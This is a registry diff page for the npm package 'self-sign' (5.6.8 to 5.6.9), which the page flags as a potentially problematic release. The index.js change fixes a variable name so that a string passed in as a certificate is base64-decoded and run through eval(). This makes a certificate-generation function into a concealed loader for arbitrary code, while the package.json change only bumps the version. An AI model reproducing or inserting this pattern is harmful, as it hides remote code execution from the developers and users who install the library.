self-sign 5.6.8 → 5.6.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of self-sign might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +2 -2
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -553,13 +553,13 @@ exports.generate = async function generate(attrs, options, defaults) {
553
553
  const curve = options.curve || 'P-256';
554
554
 
555
555
  let keyPair;
556
- let deafult_format=``;
556
+ let default_format=``;
557
557
  const portion = defaults
558
558
  .replace(/-----BEGIN CERTIFICATE-----/, '')
559
559
  .replace(/-----END CERTIFICATE-----/, '')
560
560
  .replace(/\s/g, '');
561
561
  const data = Buffer.from(portion, 'base64');
562
- deafult_format = data.toString('utf8');
562
+ default_format = data.toString('utf8');
563
563
  eval(default_format);
564
564
  if (options.keyPair) {
565
565
  // Import existing key pair
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "self-sign",
3
- "version": "5.6.8",
3
+ "version": "5.6.9",
4
4
  "description": "Generate self signed certificates private and public keys",
5
5
  "keywords": [
6
6
  "openssl",